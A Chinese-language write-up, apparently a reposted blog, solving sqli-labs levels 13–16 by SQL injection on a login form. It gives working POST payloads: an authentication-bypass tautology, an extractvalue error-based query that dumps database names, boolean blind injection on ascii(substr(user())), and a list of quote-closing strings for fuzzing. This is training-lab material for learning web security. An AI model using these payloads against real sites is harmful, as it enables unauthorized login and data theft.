sqli-labs(七)——登陸處sql注入


 

 

第十三關:

這關也是一個登陸口,和上關所說的一樣,先使用'"試一下,讓程序報錯然后判斷后台的sql語句

可以看到后台sql大概是 where name = ('$name')...  這樣的

post信息中輸入uname=1') or '1'='1' #&passwd=1&submit=Submit  可以成功進入

但是沒有顯示賬號密碼之類的,所以不能使用上一關的聯表查詢。嘗試使用上關的報錯查詢試試,輸入

uname=1&passwd=1') and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata  limit 0,1))) #&submit=Submit

能成功報錯出數據庫名!但是這里顯示不全,可以不使用group_concat這個函數,利用limit一行一行的查詢

其實這關主要考察的是雙查詢注入(floor的報錯查詢),但是這里可以使用extractvalue進行報錯,那他的我就不繼續下去了。

 

第十四關:

這關和第十三關是類似的,只是將')變成了"而已,至於是怎么判斷的還是使用的'"。

這里還補充一句,登錄框的地方很多時候都沒有報錯信息,那么怎么判斷后台的sql拼湊方式呢? 目前我的辦法是將這些比如1' or '1'='1' #  ;          1" or "1"="1" # ;        1') or '1'='1' #  ; 1")or "1"="1" # 等等做成一個字典,然后進行fuzz。

 

第十五關:

好吧,上面剛說面沒有報錯的情況下應該怎么辦,這關就遇到了!(說實話,我寫上面那段話的時候是真的沒有看這關的內容)

我剛看到這題的時候還是直接輸入的'",結果發現沒有報錯信息,這個時候就無法通過報錯直接判斷后台的拼接方式了。

使用上面fuzz的方式是可以判斷的,但是這里我就直接看后台的實現吧

發現后台是直接用的單引符號,這里也不會登陸成功后的賬號密碼,所以只能使用盲注了。

我記得我之前在第十一關的時候就嘗試了盲注的,當時沒成功,這里的情況實際上是和第十一關一模一樣的,后台網上查了下才發現,盲注時應該是

or (ascii(substr((select database()) ,1,1))) >64
而不能是 or ascii(substr((select database()) ,1,1)) >64

post 輸入uname=1' or  (ascii(substr((user()),1,1)))>64 #&passwd=1&submit=Submit  能登陸成功

輸入uname=1' or  (ascii(substr((user()),1,1)))>200 #&passwd=1&submit=Submit

登陸失敗,后面的就不繼續了,利用二分法一個字符一個字符的判斷即可。

 

 

第十六關:

和第十五關類似,只是將單引符號改為了雙引符號進行拼湊。怎么判斷后台的拼湊方式? fuzz!!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM